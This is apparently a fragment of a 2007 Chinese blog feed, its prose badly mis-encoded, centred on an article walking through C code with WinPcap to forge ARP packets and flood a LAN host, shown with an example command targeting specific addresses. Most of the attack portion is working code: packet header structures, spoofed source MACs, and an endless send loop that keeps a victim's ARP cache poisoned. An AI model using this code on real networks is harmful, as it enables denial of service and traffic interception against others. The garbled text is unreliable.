/>聽聽聽聽if(PacketGetNetType(lpadapter,&ntype))<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("\n\t\t*** Host Information ***\n");<br />聽聽聽聽聽聽聽聽printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);聽聽聽聽<br />聽聽聽聽聽聽聽聽printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br />聽聽聽聽}<br /><br />聽聽聽聽npflen=sizeof(ipbuff);聽聽<br />聽聽聽聽if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);<br />聽聽聽聽聽聽聽聽printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br /><br />聽聽聽聽聽聽聽聽sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);<br />聽聽聽聽聽聽聽聽printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));<br /><br />聽聽聽聽聽聽聽聽sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);<br />聽聽聽聽聽聽聽聽printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br />聽聽聽聽聽聽聽聽myip=ntohl(sin.sin_addr.s_addr);<br /><br />聽聽聽聽聽聽聽聽printf("[MACAddress:]");<br />聽聽聽聽}<br />聽聽聽聽else<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("\nNot get enough data\n");<br />聽聽聽聽聽聽聽聽PacketFreePacket(lppackets);<br />聽聽聽聽聽聽聽聽PacketCloseAdapter(lpadapter);<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br /><br />聽聽聽聽if((lppackets=PacketAllocatePacket())==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br /><br />聽聽聽聽rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);<br />聽聽聽聽Sleep(300);<br /><br />聽聽聽聽if(getmine()) <br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽PacketFreePacket(lppackets);<br />聽聽聽聽聽聽聽聽PacketFreePacket(lppacketr);<br /><br />聽聽聽聽聽聽聽聽PacketCloseAdapter(lpadapter);<br />聽聽聽聽聽聽聽聽return -1;<br />聽聽聽聽}<br />聽聽聽聽Sleep(300);<br /><br />聽聽聽聽if((opti==1) || (opti==2))<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽for(i=0;i<total;i++)<br />聽聽聽聽聽聽聽聽{<br />聽聽聽聽聽聽聽聽聽聽聽聽sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />聽聽聽聽聽聽聽聽聽聽聽聽Sleep(30);<br />聽聽聽聽聽聽聽聽}<br />聽聽聽聽聽聽聽聽Sleep(1000);<br />聽聽聽聽}<br />聽聽聽聽else if((opti==3) || (opti==4)) <br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />聽聽聽聽聽聽聽聽Sleep(300);<br />聽聽聽聽聽聽聽聽CloseHandle(sthread);<br /><br />聽聽聽聽聽聽聽聽sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);<br />聽聽聽聽}<br /><br />聽聽聽聽WaitForSingleObject(sthread,INFINITE); <br />聽聽聽聽CloseHandle(sthread);<br />聽聽聽聽CloseHandle(rthread);<br /><br />聽聽聽聽if(PacketGetStats(lpadapter,&stat)==FALSE)<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("Warning: Unable to get the adapter stat\n");<br />聽聽聽聽}<br />聽聽聽聽else<br />聽聽聽聽{<br />聽聽聽聽聽聽聽聽printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br />聽聽聽聽}<br />聽聽聽聽PacketFreePacket(lppackets);<br />聽聽聽聽PacketFreePacket(lppacketr);<br /><br />聽聽聽聽PacketCloseAdapter(lpadapter);<br /><br />聽聽聽聽return 0;<br />} <img src ="http://www.tkk7.com/yczz/aggbug/100172.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-18 11:32 <a href="http://www.tkk7.com/yczz/articles/100172.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>ARP Spoof&DoS鏀誨嚮緙栫▼瀹炴垬http://www.tkk7.com/yczz/articles/100081.html椋為笩椋為笩Fri, 16 Feb 2007 14:14:00 GMThttp://www.tkk7.com/yczz/articles/100081.htmlhttp://www.tkk7.com/yczz/comments/100081.htmlhttp://www.tkk7.com/yczz/articles/100081.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100081.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100081.html
鍏充簬璁ㄨARP鍝勯獥鐨勬枃绔狅紝榛戦槻鍦ㄧ8鏈熺殑銆婂皬紿RP鍗忚銆嬪拰絎?鏈熴夾RP SPOOF DoS鏀婚槻璇﹁皥銆嬪潎鏈変粙緇嶏紝涓嶈繃錛屼織璇濊錛屾巿浜洪奔錛屼笉濡傛巿浜轟互娓旓紝鏇村鐨勮鑰呬篃璁告湡寰呯殑鏄浣曞皢鍏跺師鐞嗗拰緙栫▼瀹炵幇緇撳悎銆傛湰鏂囩殑鐫絎旂偣姝f槸鍑轟簬榪欐牱鐨勭洰鐨勶紝鏇存槸瀵逛笂榪頒袱綃囨枃绔犵殑涓涓ˉ鍏咃紝甯屾湜鑳界粰璇昏呬滑鐪熸鐞嗚ВARP鏀誨嚮鐨勫疄璐紝鍚屾椂錛屼篃緇欓儴鍒嗘兂瀛︿範鑰屽張瀹蟲曞涔燱inPcap鐨勮鑰呬竴浜涒滃笀鍌呴榪涢棬鈥濈殑鎰熷彈銆?br />銆愪互涓嬫祴璇曠幆澧冧負WinXPsp1 + VC6.0sp6 + WinPcap3.14beta錛屽叾涓紝蹇呴』瀹夎WinPcap3.0浠ヤ笂鐗堟湰鐨勯┍鍔ㄣ傘?br />棣栧厛錛屾垜浠氳繃渚嬪瓙鏉ュ洖欏句竴涓婣RP鍝勯獥鍜屾敾鍑葷殑鍘熺悊鍚с傚厛鏉ュ仛涓疄楠岋紝鍏堟墦寮涓涓猚md紿楀彛錛岃緭鍏rp 鈥揳錛岃鍛戒護琛ㄧず閫氳繃璇㈤棶褰撳墠鍗忚鏁版嵁鏉ユ煡鐪嬫湰鏈篈RP緙撳瓨淇濆瓨鐨勫叆鍙e湴鍧銆?

涓婇潰琛ㄧず浣滆呮湰浜虹殑涓繪満IP涓?92.168.3.155錛岀幇鍦ˋRP緙撳瓨閲屽彧鏈変袱鏉P涓?92.168.3.253鍜?92.168.3.254鐨凙RP緙撳瓨璁板綍錛屽緢鏄劇劧錛屼袱IP鏄綔鑰呬富鏈烘墍鍦ㄥ眬鍩熺綉鐨勭綉鍏籌紙鍢垮樋錛屾牎鍥綉鍜孉DSL錛夛紝瀹冪殑MAC鍦板潃涓?*-**-18-23-b8-10鍜?*-**-4c-78-22-22錛岀被鍨嬩負dynamic錛屽嵆鍔ㄦ佺紦瀛樸?br />鐒跺悗錛宲ing鍚屼竴灞鍩熺綉鍐呯殑鍙︿竴IP涓?92.168.3.162鐨勪富鏈猴紝鍐嶆杈撳叆arp 鈥揳錛屽緱鍒扮粨鏋溿?br />鐪嬪埌錛岃櫧鐒禤ING涓嶉氾紝浣咥RP緙撳瓨鍗村埛鏂頒簡錛屾坊鍔犱簡192.168.3.162榪欎竴欏硅褰曪紝騫舵樉紺哄叾MAC鍦板潃涓?*-**-ab-31-5c-3c錛岀被鍨嬩篃鏄痙ynamic錛屾樉鐒訛紝瀵規柟寮浜嗛槻鐏騫惰緗簡紱佹鍐呭彂鐨凱ING鍖咃紝浣嗘槸浠嶇劧鏆撮湶浜嗚涓繪満鏄椿鍔ㄤ富鏈虹殑浜嬪疄錛岃屼笖瀵規柟鐨凙RP緙撳瓨鍥犳鑰屽埛鏂般?/p>

濂戒簡錛屽埌鐜板湪錛屾垜浠彲浠ユ妸鐩爣瀹氫負錛屼吉閫?92.168.3.155鐨凪AC鍦板潃涓?1-22-33-44-55-66錛屼互杈懼埌鍝勯獥鐨勭洰鐨勩傛垜浠互姝や負鍩虹偣錛屽厛榪涘叆緙栫爜鐨勯儴鍒嗐傚洜涓烘暣涓狝RP Spoof&Dos閮藉湪浜ゆ崲鐜鐨勫眬鍩熺綉鍐咃紝娑夊強鍒扮殑閮芥槸MAC灞傜殑閫氫俊錛屾墍浠ュ畾涔変互澶綉棣栭儴鍜孉RP棣栭儴灝辨垚涓哄繀瑕佺殑浜嗭紝榪欐牱鎴戜滑鎵嶅彲浠ユ瀯閫犱吉鏁版嵁鍖咃紝濡備笅錛?br />typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 鐩爣浠ュお緗戝湴鍧*/
unsigned char eh_src[6]; /* 婧愪互澶綉鍦板潃 */
unsigned short eh_type; /* 浠ュお緗戝寘綾誨瀷 */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* 紜歡鍦板潃鏍煎紡 */
unsigned short arp_pro; /* 鍗忚鍦板潃鏍煎紡 */
unsigned char arp_hln; /* 紜歡鍦板潃闀垮害 */
unsigned char arp_pln; /* 鍗忚鍦板潃闀垮害 */
unsigned short arp_op; /* ARP/RARP 鎿嶄綔 */

unsigned char arp_sha[6]; /* 婧愬彂閫佽呯‖浠跺湴鍧 */
unsigned long arp_spa; /* 婧愬彂閫佽呭崗璁湴鍧 */
unsigned char arp_tha[6]; /* 鐩爣紜歡鍦板潃 */
unsigned long arp_tpa; /* 鐩爣鍗忚鍦板潃 */
}ARPHDR, *PARPHDR;
姣忎釜瀛楁鍦ㄦ敞閲婇噷璁茬殑寰堣緇嗕簡錛屽鏋滄湁鐤戦棶錛屽彲浠ユ煡闃匱CP/IP鐩稿叧涔︾睄銆備笅涓姝ワ紝絎旇呯殑Spoof瀹炵幇闇瑕佽緭鍏?涓狪P鍦板潃澶栧姞涓涓彲閫夌殑緗戝崱鍦板潃錛屾墍浠ュ氨娑夊強鍒拌В鏋愯緭鍏ョ殑涓繪満鍚嶆垨IP鐨勫疄鐜幫紝榪欎釜鐩鎬俊寰堝鍐欒繃緗戠粶紼嬪簭鐨勮鑰呴兘涓嶉檶鐢燂紝濡備笅錛?br />DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 杞崲鎴愮綉緇滃湴鍧 */
/* 濡傛灉鏄富鏈哄悕鎴栧煙鍚嶏紝闈炵偣鍒?0榪涘埗IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 杞崲鎴?2浣嶇綉緇滃湴鍧 */
}

return host_ip;
}
鐒跺悗錛岄渶瑕佸畾涔変竴涓狦etInterface()鍑芥暟錛岄【鍚嶆濅箟錛屽氨鏄幏寰楁湰鍦頒富鏈虹綉緇滄帴鍙g殑鎰忔濓紝鍥犱負鍩轟簬WinPcap鐨勫嚑涔庢墍鏈夊簲鐢ㄧ▼搴忛兘闇瑕侀夋嫨鍚堥傜殑緗戝崱閫傞厤鍣ㄣ傦紙寰堝鍒氭帴瑙inPcap鐨勮鑰呭彲鑳戒細鎰熷埌寰堟兌鎭愶紝濂藉儚WinPcap鎵鐢ㄧ殑API鍑芥暟璁╁緢澶歐indows紼嬪簭鍛樹竴涓嬪瓙鎺ユ敹涓嶄簡錛屽叾瀹炲緢姝e父錛岀敤鐨勫浜嗭紝鐪嬬殑澶氫簡錛屾參鎱㈢殑錛屾垜鐩鎬俊璇昏呴棬浼氳秺鏉ヨ秺鍠滄寮哄ぇ鐨刉inPcap鐨勶級GetInterface()瀹氫箟濡備笅錛?br />pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*鍙栧緱璁懼鍒楄〃*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 鎵撳嵃璁懼鍒楄〃*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;

/* 璺沖埌琚夋嫨鐨勭綉鍗¢傞厤鍣ㄦ帴鍙?*/
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 浠庣綉緇滀笂鎵撳紑媧誨姩鐨勬崟鑾瘋涓猴紝榪斿洖涓涓猵cap_t綾誨瀷鎻忚堪絎?*/
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 閲婃斁pcap_findalldevs()鎵撳紑鐨勬帴鍙e垪琛?/
pcap_freealldevs(alldevs);

return(fp);
}
涓婇潰鐨勬敞閲婂凡緇忔瘮杈冩竻妤氫簡錛屾墍鏈夌殑娑夊強鍒扮殑WinPcap鐨勭粨鏋勪綋鍜孉PI鍑芥暟錛屼互鍙婂熀浜嶹inPcap紼嬪簭鐨勭紪璇戞柟娉曪紝澶у閮藉彲浠ュ埌http://winpcap.polito.it/鍦ㄧ嚎鏌ヨ鎴栨妸鏂囨。涓嬭澆鍚庢湰鏈烘煡璇紝鎴栬呭埌璁哄潧璇㈤棶銆傚湪鎴戠殑浠g爜閲岋紝鎴戝亣璁懼鏋滅敤鎴瘋緭鍏ュ彲閫夌殑浼狹AC鍦板潃錛屽垯浣跨敤榪欎釜鑷畾涔夌殑浼狹AC鍦板潃錛屽鏋滀笉杈撳叆錛屽垯浣跨敤闅忔満浜х敓鐨勪吉MAC鍦板潃錛屼唬鐮侀儴鍒嗗涓嬶細
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
涓轟簡寰楀埌鐢辯郴緇熸椂閽熶駭鐢熺殑闅忔満鏁幫紝蹇呴』鍦ㄥご鏂囦歡閲屽姞鍏?#include <time.h>錛屽湪紼嬪簭閲屽姞鍏rand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*鍒濆鍖杦in sock搴?/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 鐢ㄥ畬浜嗭紝璁頒綇閲婃斁鍝?*/
涓轟簡浣跨敤winsock2澶存枃浠訛紝瑕佹寚瀹?pragma comment(lib, "ws2_32.lib")鏉ュ寘鍚玾s2_32.lib搴撴枃浠躲備笅闈㈠氨鍒頒簡鑷畾涔夋瀯閫犱互澶ご鍜孉RP澶翠簡錛岃繖灝辨槸鎴戜滑浼燤AC鐨勫姞宸ュ巶錛?br />memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* 璇鋒眰鏈嶅姟 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 浼簮MAC鍦板潃 */
arphdr->arp_spa = ip_add; /* 浼簮ARP 鍗忚鍦板潃*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 浼洰鏍嘙AC鍦板潃 */
arphdr->arp_tpa = ip_dst; /* 浼洰鏍嘇RP鍗忚鍦板潃 */
榪欓噷鎵鏈夌殑瀹忛兘鍙互鍦ㄦ垜鎻愪緵鐨刟rp.h澶存枃浠墮噷寰楀埌瀵瑰簲鐨勫畾涔夈傛瘡涓欏歸兘寰堟竻鏅幫紝涓昏鏄瀯閫犳渶鍚庣殑鍑犻」錛堟湁娉ㄩ噴鐨勮錛夛紝閭i噷鏄粙鐢熺姜鎭剁殑婧愬ご銆?br />浼狹AC鍖呮瀯閫犲ソ浜嗭紝鏈鍚庡墿涓嬬殑灝辨槸鍙戦佷吉鏁版嵁鍖呬簡錛屽啀嬈″彂鎸inPcap搴撶殑鍙戝寘鍑芥暟錛屽涓嬶細
pcap_sendpacket(fp, buff, sizeof(buff)) ;
鍒拌繖錛屽彲浠ラ暱鍢樹竴鍙f皵錛屽ぇ鍚間竴澹扳滄墦瀹屾敹宸モ濓紝璁╂垜浠祴璇曚竴涓嬫垚鏋滐紝鐪嬫槸鍚﹁兘杈懼埌鎴戜滑鏈寮濮嬮瀹氱殑鐩爣銆傝緭鍏?arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
棣栧厛錛屾彁紺鴻緭鍏ユ帴鍙e彿錛屽洜涓篧inPcap搴撳繀欏婚夋嫨姝g‘鐨勭綉鍗¢傞厤鍣ㄦ帴鍙o紝鍦ㄧ瑪鑰呮満瀛愪笂錛屽畨瑁呬簡2涓櫄鎷熸満錛屾墍浠ユ湁4涓帴鍙o紝2鍙鋒帴鍙d唬琛ㄦ湰緋葷粺緗戝崱鎺ュ彛錛屾墍浠ラ?錛堜綘鐨勫彲鑳戒笉鍚屽摝錛夛紝鍥炶濺鍚庯紝鍙戠幇鍙充笅鑴氶┈涓婃彁紺篒P鍦板潃鍐茬獊鈥﹀樋鍢匡紝鎴戜滑鏉ュ垎鏋愪竴涓嬶紝arpspoof.exe鏄垜浠搫楠楃▼搴忥紝192.168.3.155鏄瑪鑰呯殑IP鍦板潃錛?92.168.3.162鏄悓涓灞鍩熺綉鍐呭彟涓涓繪満IP錛屽氨鏄妸192.168.3.155鍦板潃鐨凪AC鍦板潃11錛?2錛?3錛?4錛?5錛?6娣誨姞鍒?92.168.3.162榪欏彴涓繪満鐨勫姩鎬丄RP緙撳瓨閲岋紝鏀誨嚮榪囧悗錛?92.168.3.162鐨凙RP緙撳瓨銆?br />鍒氭墠鎴戞妸鑷繁鐨処P褰撳仛鍙傛暟涓瀵艱嚧浜嗚嚜宸辯殑IP鍐茬獊錛岄偅濡傛灉鎴戞兂浣?92.168.3.162榪欏彴鏈哄瓙浜х敓IP鍐茬獊錛屽氨鍙互璋冩崲涓涓嬪弬鏁頒竴鍜屽弬鏁頒簩鐨勪綅緗紝鍗?br />澶у鎯蟲兂浠涔堝師鐞嗭紝鍛靛懙錛岃繖閲屾垜灝變笉澶氳浜嗐傚鏋滄兂闅愮瀿浣滀負鏀誨嚮鑰呯殑IP,絎?涓弬鏁板彲浠ユ敼鎴愮綉孌靛唴鐨勪換鎰忓叾浠栫殑IP銆傝繖鏍鳳紝鎴戜滑鍙戣搗涓嬈℃敾鍑伙紝192.168.3.162鐨勪富鏈哄氨浜х敓涓嬈P鍐茬獊錛屼絾榪欐牱鑲畾鏄笉澶熺殑錛屾瘡闅斾竴孌墊椂闂達紝瀵規柟鐨凙RP緙撳瓨灝變細鍒鋒柊涓嬈★紝鎵浠ワ紝濡傛灉瑕佽繘琛屼竴嬈RP Dos鏀誨嚮鐨勮瘽錛屾垜浠繕蹇呴』涓嶆柇鐨勭粰浠栦滑鍙戯紝浠ヤ繚璇佸鏂笰RP緙撳瓨濮嬬粓鏄垜浠瀯閫犵殑浼狹AC鍦板潃銆傚疄鐜板緢綆鍗曪紝濡備笅錛?br />while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* 榪欓噷鐨?define DELAY (CLOCKS_PER_SEC >> 1) 鍗沖崐縐?*/
}
鏀誨嚮榪囩▼銆?br />鐐圭偣灝辮〃紺烘瘡闅斿崐縐掑彂閫佷竴嬈RP鍖呫傜粨鏋滄槸錛屽湪琚獶oS鏀誨嚮鍚庯紝濡傛灉鍐嶆PING
192.168.3.162錛屽嵆浣垮鏂逛笉寮闃茬伀澧欙紝涔熸病鏈夌姝NNER PING錛屽嵈浠嶇劧PING涓嶉氾紝鏌ョ湅
鑷繁鐨凙RP緙撳瓨錛屾垜浠彂鐜幫紝瀵規柟鐨凪AC鍦板潃緙栫▼浜?0-00-00-00-00-00錛屾敾鍑繪垚鍔熴?br />灝忕粨錛?br />鍦ㄤ簡瑙d簡ARP Spoof&Dos鏀誨嚮鐨勫師鐞嗗悗錛屽疄鐜拌搗鏉ュ氨涓嶉偅涔堥毦浜嗐傚ぇ瀛︽牎鍥綉甯稿父鍥犱負IP璧勬簮鐨勪弗閲嶄笉瓚寵屽彂鐢熷悓瀛︿滑浜掓姠IP鐨勭幇璞★紝鏈夋噦涓鐐笰RP鍝勯獥鐨勫鐢熷氨鐢ㄧ綉緇滄墽娉曞畼絳夊伐鍏鳳紝鑰屼笉鎳傜殑鐨勫氨鍙湁浠諱漢瀹板壊錛屽鏋滀綘榪樻槸閭h瀹板壊鐨勪竴閮ㄥ垎浜轟腑鐨勪竴涓紝閭d箞鐪嬪畬浜嗘湰鏂囩殑浣狅紝鏄笉鏄篃璇ュ仛鐐逛粈涔堜簡鍛€傦紙鍦ㄥ厜鐩樼殑婧愪唬鐮佹枃浠墮噷錛屽彧鎻愪緵浜嗕竴涓簮浠g爜鏂囦歡arpspoof.cpp錛屽畠鐨勪綔鐢ㄦ槸瀹炵幇緇欑洰鏍嘔P娣誨姞ARP緙撳瓨錛岃宎rpdos.cpp鎴戞病鏈夋彁渚涳紝闃叉鏈変漢鍋氬潖浜嬶紝鍛靛懙錛屽鏋滀綘鏄湡蹇冩姳鐫瀛︿範鐨勬佸害錛岄偅涔堟垜鐩鎬俊鐪嬪畬



椋為笩 2007-02-16 22:14 鍙戣〃璇勮
]]>
錛堣漿錛夌綉鍗AC鍦板潃鐩稿叧淇℃伅澶у叏錛堟暣鐞嗭級錛堜笅錛?/title><link>http://www.tkk7.com/yczz/articles/100061.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:56:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100061.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100061.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100061.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100061.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100061.html</trackback:ping><description><![CDATA[     鎽樿: 濡備綍瀹炵幇淇敼緗戝崱鐗╃悊鍦板潃鐨勪笁縐嶆柟娉? 鍚屾牱瑕佹劅璋㈣儭澶ц櫨 1 銆? 涔頒竴鍧楀彲浠ラ氳繃鍐? eeprom 鐗╃悊鐨勪慨鏀圭綉鍗″湴鍧錛岃繖縐嶅崱鐜板湪 ...  <a href='http://www.tkk7.com/yczz/articles/100061.html'>闃呰鍏ㄦ枃</a><img src ="http://www.tkk7.com/yczz/aggbug/100061.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:56 <a href="http://www.tkk7.com/yczz/articles/100061.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夌綉鍗AC鍦板潃鐩稿叧淇℃伅澶у叏錛堟暣鐞嗭級錛堜笂錛?/title><link>http://www.tkk7.com/yczz/articles/100060.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:54:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100060.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100060.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100060.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100060.html</trackback:ping><description><![CDATA[     鎽樿: 棣栧厛瑕佹劅璋? jzyhummel( 鍒閿? [ 綃卞獎 ]) 鍏勫紵 鎻愪緵鐨勯儴鍒嗚祫鏂? ^_^ 聽 聽聽 緗戝崱鍦板潃榪欎釜姒傚康鏈夌偣娣鋒穯涓嶆竻銆傚洜涓哄疄闄呬笂鏈変袱涓湴鍧錛? mac 鍦板潃鍜岀墿鐞嗗湴鍧 ...  <a href='http://www.tkk7.com/yczz/articles/100060.html'>闃呰鍏ㄦ枃</a><img src ="http://www.tkk7.com/yczz/aggbug/100060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:54 <a href="http://www.tkk7.com/yczz/articles/100060.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夋墜鎶婃墜鏁欎綘鎹曡幏鏁版嵁鍖?涓?銆愭暟鎹寘鐨勬父鎴忕郴鍒椾箣浜屻?/title><link>http://www.tkk7.com/yczz/articles/100059.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:53:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100059.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100059.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100059.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100059.html</trackback:ping><description><![CDATA[     鎽樿: B. 鎵撳紑鐩稿簲緗戝崱騫惰緗負娣鋒潅妯″紡錛? 聽聽 鍦ㄦ涔嬪墠鑲畾瑕佹湁涓孌佃鐢ㄦ埛閫夋嫨緗戝崱銆佸茍鑾峰緱鐢ㄦ埛閫夋嫨鐨勭綉鍗$殑鍚嶅瓧鐨勪唬鐮侊紝鏃㈢劧涓婇潰宸茬粡鍙互鑾峰緱鎵鏈夌綉鍗$殑鍚嶅瓧浜嗭紝榪欐浠g爜灝辨殏涓旂暐榪囦簡銆? ...  <a href='http://www.tkk7.com/yczz/articles/100059.html'>闃呰鍏ㄦ枃</a><img src ="http://www.tkk7.com/yczz/aggbug/100059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:53 <a href="http://www.tkk7.com/yczz/articles/100059.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夋墜鎶婃墜鏁欎綘鎹曡幏鏁版嵁鍖?涓?銆愭暟鎹寘鐨勬父鎴忕郴鍒椾箣浜屻?/title><link>http://www.tkk7.com/yczz/articles/100058.html</link><dc:creator>椋為笩</dc:creator><author>椋為笩</author><pubDate>Fri, 16 Feb 2007 07:51:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/100058.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/100058.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/100058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/100058.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/100058.html</trackback:ping><description><![CDATA[     鎽樿: 鍓? 聽聽 璦 聽聽 聽聽 緇忓父鐪嬪埌璁哄潧鏈変漢...  <a href='http://www.tkk7.com/yczz/articles/100058.html'>闃呰鍏ㄦ枃</a><img src ="http://www.tkk7.com/yczz/aggbug/100058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">椋為笩</a> 2007-02-16 15:51 <a href="http://www.tkk7.com/yczz/articles/100058.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>錛堣漿錛夋墜鎶婃墜鏁欎綘鐜╄漿ARP鍖咃紙瀹岋級銆愭暟鎹寘鐨勬父鎴忕郴鍒椾箣涓銆?http://www.tkk7.com/yczz/articles/100057.html椋為笩椋為笩Fri, 16 Feb 2007 07:49:00 GMThttp://www.tkk7.com/yczz/articles/100057.htmlhttp://www.tkk7.com/yczz/comments/100057.htmlhttp://www.tkk7.com/yczz/articles/100057.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100057.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100057.html
浣滆咃細
聽聽 CSDN聽 VC/MFC 緗戠粶緙栫▼PiggyXP^_^
鏈瘒鐩綍錛??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>

